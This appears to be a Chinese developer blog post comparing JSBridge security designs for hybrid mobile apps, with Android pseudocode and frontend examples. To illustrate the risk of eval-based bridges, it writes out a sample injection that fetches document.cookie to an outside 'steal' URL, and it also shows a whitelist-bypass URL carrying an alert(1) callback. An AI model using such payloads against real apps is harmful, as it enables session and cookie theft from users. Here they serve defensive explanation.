JSBridge安全加固实战从协议设计到风险防控
谁更灵活?谁更省事?JSBridge安全方案实操对比
我干了六年 Hybrid 开发,前前后后搭过四套 JSBridge,从最早用 window.WebViewJavascriptBridge 硬塞,到后来自己手撸双向通信层,再到接入公司封装的 SDK,最后又因为安全审计被逼着全量重构——踩的坑比写的代码还多。这次写这篇,不是为了讲理论,而是想把我在真实项目里反复验证过的几个主流 JSBridge 安全方案,掰开揉碎了说说:哪个真能上线、哪个文档写得漂亮但一上真机就崩、哪个改起来像刮骨疗毒。
直接说结论:我目前主力用的是「白名单 + 动态签名」方案(后面细讲),其次是「URL Schema 白名单拦截」;而「全局注册 + eval 执行」这种,我已经三年没在生产环境见过它了,除非是 demo 或者老项目苟延残喘。
方案一:URL Schema 白名单拦截(最省事,但有点怂)
这是 iOS 和安卓早期最常用的方案,WebView 拦截所有 jsbridge:// 开头的 URL,解析参数后调用 Native 方法。安全靠白名单控制可调用的方法名。
我比较喜欢用这个做 MVP 阶段快速验证,或者给外包团队配个低风险的小模块。为啥?因为改动最小,前端几乎不用动逻辑,Native 层加个字符串匹配就行。
但这里注意,我踩过好几次坑:白名单如果写成 if (url.includes('getUserInfo')),那 jsbridge://getUserInfo?xxx&callback=alert(1) 就能绕过。必须严格匹配完整路径,还要防拼接注入。
实际代码长这样(Native 层伪代码示意,前端还是发 URL):
// 前端调用(完全无感)
location.href = 'jsbridge://getUserInfo?uid=123×tamp=1715892345';
// Android WebViewClient.shouldOverrideUrlLoading()
if (url.startsWith("jsbridge://")) {
Uri uri = Uri.parse(url);
String path = uri.getPath(); // /getUserInfo
if (!ALLOWED_METHODS.contains(path)) {
return true; // 拦截不放行
}
// 解析参数,调用对应方法...
}
优点:简单、快、兼容性极强(连 iOS 8 都跑得动)。缺点:没法传复杂对象(JSON 要 encodeURI)、无法拿到回调、日志难追踪、容易被恶意页面反复触发 URL 导致卡顿。去年我们有个活动页被人伪造了 300+ 个 jsbridge://openCamera 请求,Native 层没做限频,直接卡死整个 WebView。
方案二:全局注册 + eval 执行(最危险,但……真有人还在用)
就是把 Native 方法挂到 window 上,比如 window.openCamera = function() { ... },然后前端直接 eval('openCamera()') 或 setTimeout('openCamera()', 0)。当年为了兼容 Android 4.2 的 WebView,确实这么干过。
现在?我看到就删。不为别的,就因为某次安全扫描直接标红:“高危:任意代码执行漏洞,CVSS 9.8”。你永远不知道 H5 页面会不会被中间人劫持,注入一段 eval('fetch("https://jztheme.com/steal?cookie="+document.cookie)')。
更恶心的是,有些老 SDK 还保留着 registerHandler 接口,但没校验 handler 名是否在白名单里。结果业务方随便写了个 bridge.registerHandler('exec', eval),等于亲手给攻击者开了后门。
一句话总结:这个方案不是“不够安全”,是“根本没安全”。我建议把它放进技术考古清单,别再提了。
方案三:白名单 + 动态签名(我目前的主力方案)
这是我目前所有新项目默认采用的方案:前端发起请求时,Native 提供一个临时 token(比如 60 秒有效期),前端用该 token + method + params + 时间戳拼接签名,Native 校验签名再执行。核心是:每个请求都带唯一签名,且只认当前窗口有效期内的 token。
为什么我选它?因为真实场景里,我们不需要“绝对不可破解”,只需要“攻击成本远高于收益”。这个方案在不增加太多开发负担的前提下,把批量调用、重放、伪造这些常见攻击挡住了 90% 以上。
前端代码如下(封装后的调用非常干净):
bridge.call('getUserInfo', { uid: '123' })
.then(res => console.log(res))
.catch(err => console.error(err));
背后实现关键点有三个:
- Native 注入一个
window.__jsbridge_token,每 60 秒自动刷新 - call 方法内部会拼接:
method + JSON.stringify(params) + timestamp + __jsbridge_token,再用 SHA256 算签名 - Native 收到后,用同一套逻辑验签,失败则直接 reject
我亲测有效的一处细节:token 必须绑定 WebView 实例(比如用 WebView ID 做 salt),否则多个 tab 共享 token 会导致跨标签攻击。这点文档里基本不提,但我被 QA 抓出过两次,折腾了半天才发现是 token 复用了。
缺点也有:首次加载稍慢(要等 token 注入完成)、Android 4.x 下 crypto API 不稳定(我们做了 fallback 到 base64+时间戳哈希)、iOS WKWebView 里 token 注入时机要卡在 webViewDidFinishLoad 之后,否则前端可能取不到。
方案四:自定义协议 + WebKit MessageHandler(iOS 专属,但真香)
WKWebView 的 addScriptMessageHandler 是 Apple 官方推荐方式。我一般只在纯 iOS 项目或对性能要求极高的场景下用它。安卓端没法对齐,所以跨端项目慎选。
它的优势是:原生支持 JSON 传输、自动序列化、天然隔离作用域(不会污染 window)、回调机制完善。而且只要你不用 message.body.callbackId 去 eval 字符串,基本没有执行漏洞。
但问题在于:安卓 WebView 没这玩意儿。你要么写两套桥接逻辑,要么用第三方库(比如 JsBridge)做兼容——而这些库底层往往又绕回了 URL Schema 或注入函数的老路。
所以我的做法很实在:如果项目明确只上 iOS(比如企业内 App),我直接上 MessageHandler;如果是双端,就统一用方案三(白名单+签名),宁可牺牲一点 iOS 性能,也要保证两端行为一致、排查问题不撕逼。
我的选型逻辑
看场景,我一般选这三个:
- 紧急上线、小功能、低风险模块 → URL Schema 白名单(快,可控)
- 中大型双端 App、长期维护项目 → 白名单 + 动态签名(稳,可审计,团队协作友好)
- iOS 专属、性能敏感、安全要求极高(如支付页)→ WKWebView MessageHandler(原生、干净、Apple 认证)
至于其他花里胡哨的方案,比如基于 postMessage 的双向监听、WebSocket 持久通道、甚至用 IndexedDB 做消息队列……我都试过。结论是:增加了复杂度,但没解决本质问题——安全的核心从来不是“怎么传”,而是“谁能让它执行”。只要 Native 层没做好校验,再 fancy 的传输层也是裸奔。
以上是我的对比总结,有不同看法欢迎评论区交流。另外,如果你也在用白名单+签名方案,欢迎聊聊你们怎么处理 token 刷新时的并发请求冲突——我们目前是加了锁,但总觉得不够优雅。
